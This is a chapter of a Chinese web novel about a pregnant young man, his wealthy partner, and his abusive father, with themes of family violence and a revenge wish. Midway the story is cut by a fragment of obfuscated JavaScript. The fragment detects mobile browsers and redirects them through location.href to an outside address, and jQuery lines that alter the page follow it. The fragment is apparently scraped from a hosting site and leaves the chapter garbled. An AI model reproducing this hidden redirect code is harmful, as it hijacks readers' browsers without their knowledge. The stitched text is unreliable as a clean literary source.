4. 幻觉

作品:《揣崽小可怜被大佬宠上天

    霍景盛唇角微勾,公事公办道:“尽量。”


    与此同时,京西一处朱门大户的老宅外,林琅急吼吼从黑色的SUV推门而下。


    朱门前一位华发斑白,但打理一丝不苟的老人正拄着黑檀木手杖翘首以望。


    林琅刚及近,老人就眼巴巴地抓住林琅的手:“消息可靠?”


    老人正是霍景盛的父亲,现已不掌大权,仍然位高权重,人们尊称他霍老。


    霍老有早睡习惯,林琅昨夜发的消息他今早才看见。激动地打电话给林琅,林琅也很激动,两个激动的人在电话里什么都说不清。因此约了面见。


    两人一照面,小的搀着老的肩,老的攥着小的手。


    不知道的还以为这俩才是亲父子。


    老管家跟在后边沉思,这也不怪外边风言风语,让真儿子讨了厌。


    “阿琅啊,你是不是在拿老头子寻开心?万年老铁树,哪能说开窍,就开窍了?”霍老拄着手杖,走在私家园林里,语气几分急切。


    林琅的语气也没强到哪去:“霍叔叔,我真没有,我是亲耳听见先生承认,而且…我还亲手摸出了喜脉!”


    林琅看着霍老因极大的惊喜而光耀起来的眼睛,犹豫了下,没把怀孕的人是个男人这事儿说出来。这件事毕竟惊世骇俗,他怕刺激到老人家。


    他打算先报喜讯,然后自己通过医院、导师、同学的人脉,搜查男人生子的案例,整理成册,找机会向老人家注入这个概念,然后再全盘告知。


    看着霍老露出久违的笑容,林琅打心眼高兴。霍景盛自主性强,还没成年就搬出去自己住,成年后更是眼里只有格斗,平时别说回来看看老人,就连电话都懒得打几个。老人的伴侣,也是个不着家的,在国外控股石油产业,只过年才回国陪他十天半月,交个公粮。


    老人在别人眼里,绿水香榭,老兽闲游,别提多逍遥。但林琅知道,他和普通的空巢老人没有区别,他无聊寂寞得很。林琅盼着老人开心,因此这个能让老人开怀的好消息,他的分享欲是一分一秒等不得。


    但预支消息,也意味着会有引火上身的风险。


    临走的时候,林琅再三请求:“霍叔叔,我是为了给您解闷,才提前告诉您的,您这边心里偷着乐就好,等着时机到了先生自己也会告诉您。您可千万别在先生那儿提什么,不然的话,他又要怪我多嘴了。”


    霍老的黑檀木手杖把青石板点得咚咚响,像是某种保证:“放心吧。”


    ·


    下午三点,乔宴坐上霍景盛的迈巴赫。连绵阴雨不知何时停了。


    乔宴连日心力交瘁,加之孕期嗜睡作祟,车内暖风一烘,眼皮便黏在了一起。迷迷糊糊睁开眼的时候,看见树影漏下金光,正跳跃在湿漉漉的草尖上。他揉了揉眼睛,脱口道 :“雨停了。”


    话音未落便僵住——他怎同霍景盛闲聊起来。


    霍景盛请他吃饭、照顾他、和他交谈,都是围绕孩子进行的必要沟通。尤其是协议这事拟定后,两人也算各自打出明牌了。


    他们一个谋孩子,一个图钱财。


    好听点是合作,难听点是交换。等白纸黑字的协议下来,霍景盛顶着甲方,他顶着乙方,他的身份就跟霍景盛的员工没什么区别。


    该谨守边界的。


    怎么一觉醒来昏了头?


    “未来几天都没雨。”霍景盛握着方向盘应声。


    乔宴指尖抠进羊绒坐垫。


    他根本不懂怎么和人□□。


    在这小小空间里,他不小心撂了话题,又不知道怎么接。


    如果霍景盛像父亲那般无视他,他倒熟悉应对。偏生霍景盛温声接话,他不自在起来。


    绞尽脑汁,憋出句:“那…那真可惜。”


    话一出口恨不能咬舌——雨停了有什么可惜?倒像他盼着这雨下个一辈子似的。


    乔宴觉得聪明人不该做不擅长的事。于是阖眼假寐。


    可是破破烂烂的手机偏在这个时机鬼叫。他怕打扰霍景盛,连来电人都没看清,赶紧按灭了。


    不妨来电人锲而不舍。


    手机静音键是坏的,乔宴只好手忙脚乱地降音。


    音量成功见底,霍景盛平静地说:“我靠边回避。”


    “不用!”乔宴差点咬到舌尖。这可是霍景盛的车。


    笨嘴解释不出他是不想打扰这样的蠢话。像是证明什么,七手八脚乱摸了一通,总算按下了接通键。


    二手机漏音厉害,手机还没对准耳朵,来电人的声音就喇叭似的地流泻:“磨磨蹭蹭,这是接老子电话该有的态度?”


    乔宴捂着手机压低声音:“做什么?”


    来电显示上飘着“乔怀庆”三个大字,乔宴把此人备注了全名,而不是“爸爸”。


    实际上,乔怀庆是乔宴的亲生父亲。


    乔怀庆笑了一声:“你爷爷的特效药用完了,你有钱就给他续上,没钱就断掉吧。”


    乔宴咬了咬嘴唇,小声问:“多少钱?”


    乔怀庆:“三千。”


    “我高考后,镇上给的三万奖励津贴呢?”


    “你爷爷很费钱,三万顶什么用?钱到手都三个月过去了,我自己还月月贴钱呢!”


    “你是他儿子,你应该的!”


    “咱家什么条件,邻里都知道,就是放弃治疗也会得到社会理解。你别跟我急,大不了放弃治疗呗,你好我好,你爷爷也不用受罪。”乔怀庆说着说着还笑了,像是乔宴是什么很好笑的人。


    “你开的车值很多钱,你买起车,给爷爷看不起病。”


    “别跟我扯皮,垫不出就放弃治疗。”


    乔宴偷瞄霍景盛一眼,更加低声:“宽限几天。”


    “没钱?那不能吧。你弟说你跑建京了?建京遍地黄金,你在地上抠块地板都能卖钱。”


    乔宴头皮发麻:“那你让乔锦途给你抠啊,乔锦途怎么知道我来建京?”


    “他过几天学业不忙了会找你,到时候你问他呗。”


    乔宴眼底露出一抹厌色:“他找我做什么,我是不会见他的。乔怀庆,你亲口承认的,我跟你们已经没有任何关系了。一周后我会打钱,除爷爷的事,别再联系。”


    他狠狠挂断电话,心想等拿到霍景盛的第一笔钱,他要立刻接走爷爷,送到建京的大医院疗养,彻底脱离乔怀庆的钳制!


    可是电话又响了,乔宴又赶紧接起来:“有完没完?”


    乔怀庆声音像淬了毒:“怎么说话,你以为你谁?你不过是我撒出去的一粒精子。就算你烂在外头,化成灰都是老子的种!在建京老实打工,拿了钱先把肚里怪胎铰碎。以后你弟学费从你工资划一半,剩下一半再劈两成给老子养老——儿子孝爹天经地义,敢说不,老子就去法院告得你裤衩不剩!以后你弟找老婆,你当哥的还得帮……”


    乔宴一阵耳鸣。


    他哆嗦着手掐下关机键。


    他整个人不受控制地抖。


    怪胎…


    养老…


    你弟找老婆…


    这些事跟他有什么关系?十八年来,乔家除了爷爷,谁不是把他当条看门狗?


    可他现在明明逃出来了啊!


    为什么乔怀庆的每句话还能化作铁丝,自千里之外把他绞紧?


    乔宴觉得自己快要窒息了。他想如果他现在有刀,他会控制不住自己杀了乔怀庆。


    这一刻他又恨不得毁灭霍景盛的合作欲望,他不想要孩子出生了。


    他不愿意孩子一出生,就摊上这样一个外公,一个在基因上无法否认的外公。


    乔宴把手机装进口袋,望着窗外。


    他觉得他在电话里跟乔怀庆说的那些话,霍景盛大抵是听见了。毕竟车内实在安静。


    不过这样也好。豪门看重基因,刚才那通电话,不难让人听出他有一个怎样的出处。


    他肚子里的孩子…霍景盛大抵要重新掂量了。


    可怜霍景盛的钱他一分还没花到…两千万,就当以后做梦的素材吧。


    乔宴惴惴等了半晌,也没等到霍景盛盘问自己什么。直到迈巴赫开进医院的地下车库,霍景盛也没动摇过合作意向。


    乔宴心里打鼓。


    要不还是直接交底吧。


    霍景盛带乔宴乘坐的是绿道专用电梯,电梯上行的时候,霍景盛终于叫了一声他的名字:“乔宴。”


    乔宴的大脑仍然在神游,这声乔宴把他吓了一跳。他仰起脸:“嗯。”


    霍景盛道:“孕检前,医生会问你问题,让你填表。需要你如实答复。”


    乔宴搅着裤子,斟酌措辞的时候,错过了最佳问话时机。


    霍景盛把话重复了一遍,注视着他,等他回答。


    乔宴只好顶着压力点头:“我会如实答复的。”


    乔宴看着霍景盛冷峻的神情,心里又开始打鼓。


    心想算了,等霍景盛看起来心情好的时候,再跟他交底吧。


    这样霍景盛的心情会被好情绪调和,听了自己的晦气话心情也不会变太差。


    “今天主做孕检,建个档,以及几个不需空腹的专项。”霍景盛提前向乔宴解释:“剩下的明天继续。怀孕期间,也许会频繁来往这座医院,你会觉得麻烦么?”


    乔宴摇了摇头。


    霍景盛道:“等厌了,给你办疗养院入住。”


    乔宴结结巴巴:“都,都行,都喜欢的。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103016|163802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >说完又想咬舌头,谁家好人没事喜欢医院和疗养院。


    只是在这个瞬间,乔宴再一次清晰地意识到了什么。


    不用预约、拿号、排队了。


    不用一个人等单、化验、坐在冰凉的铁皮椅子上数着输进手背的点滴了。


    是不是也不用躺在病床上强睁着眼不敢入睡?


    从前好几次,他撑不住烧昏迷了,都是护士查房才发现……


    这些“不用”所代表的特权,对乔宴来说好梦幻。


    但当他陷入恍恍惚惚思考状态时,却又在这些梦幻的“不用”上,感到一丝诡异的熟悉。


    其实他偶尔也是有过一些这种感觉的,只不过,那些感觉都没有此刻真切。


    霍景盛给他的是现实,他自己给自己的,是幻觉——他所谓的熟悉感,原来是在臆想症发作的时候感到的。


    他臆想症发作的时候,会分不清现实虚幻,大白天地给自己幻想出一个“哥哥”来,陪伴自己、保护自己。


    满足自己很多可望不可求的特权。


    比如,他臆想哥哥陪他一起走夜路、在他睡不着时给他讲故事、在他遭受殴打后搂住他告诉他生活不会一直如此要好好活下去。


    臆想症的根源呢?乔宴不知道。


    他只知道…这个哥哥是怎么来的——


    那是七岁的一个雷雨夜,他为躲避盛怒的乔怀庆,闯进一家奢侈品店。


    他把人家的保安当成警察叔叔了。保安冷着脸把他往外拖,却被进店的一个大哥哥拦住。


    大哥哥平静地看了他一眼,吩咐身后跟着的几个黑色西装的人把他带走。


    大哥哥带他吃了顿饭。那是小乔宴第一次在有真人弹琴的餐厅里,吃好大的牛排。


    大哥哥让一个黑衣人买了把折叠水果刀。送给乔宴。


    他说:“再有人打你,刺他。”


    是很常见的折叠水果刀,当年很流行的一款。大小店铺到处可见。


    小小的一个很方便携带,乔宴后来一直随身携带着了。


    但是大哥哥的脸,却随着记忆远去,渐渐地模糊难辨。


    直到某天,整个人遥远成一道挺拔的黑影。


    乔宴是十二岁时患上臆想疯病的。


    有一次乔怀庆打他太狠,他倒在地上时昏时醒。偶尔心想要不然就这样死了吧。


    但迷迷糊糊的时候,又不甘心地渴望有没有人来救救他。


    就是这个时候,一道黑影进入了他的臆想世界。是他的大哥哥。


    他很惭愧地向大哥哥道歉,说他有好好用刀子保护自己但是他力气实在太小,只能刺破乔怀庆一层皮…大哥哥把他抱紧,安慰他,你已经很努力了。


    大哥哥拍着他说:你不要睡,要站起来。你欠哥哥一把刀。等你长大了,要把刀子还给哥哥的。


    那天乔宴流了很多泪,他知道那是一场白日梦还是点着头,攥着大哥哥的袖子说好,说那你等我长大哦!


    我等你长大。


    要拉勾。


    嗯拉勾。


    ……


    后来,一些难过、无助、恐慌的时刻,大哥哥会有一定概率来到他梦里做客。


    次数多了,乔宴甚至摸索出控梦技巧。


    他同大哥哥在梦里日渐熟悉,走夜路的时候,偶尔也会成功地把大哥哥幻想出来了…


    乔宴知道自己疯得厉害。


    但他别无他法,如果不是幻想里的哥哥陪他这么久,他指不定早就撑不住,烂死在暗无天日的某一天了。


    臆想不害他的命,又何尝不算是他的药呢。


    乔宴只是没想到。有一天他在臆想里才能求得的“庇护”,不用臆想就有了。


    乔宴高兴地摸了摸腹部,托崽崽的福,他也算是体会到了被人爱屋及乌的滋味。是限定版也足够了。


    不知怎么,那股因乔怀庆而起的怨气一股脑地泄没了…他像立场不坚的墙头草,在霍景盛这得了股暖风,又摊开肚皮摇摇晃晃歪进了阳光里。


    他想:倘使崽崽能出生,一定会很幸福吧…


    乔宴抬眼偷瞄霍景盛,发现霍景盛正低头把他看着。


    “到了。”霍景盛说。


    乔宴有种上课看小说被老师抓包的心虚。


    左脚踩右脚原地拌了个蒜,被霍景盛及时扶住:“怎么了?”


    乔宴甩锅:“宝宝踢我。”


    霍景盛平静地看着他,片刻后似是笑了。


    然后乔宴忽然意识到霍景盛在笑什么。


    多大点的宝宝,脚丫子还没长出来呢!


    …救命,他的嘴怎么才能不这么笨啊。


    乔宴红着耳尖,同手同脚地被霍景盛掺进了B超室。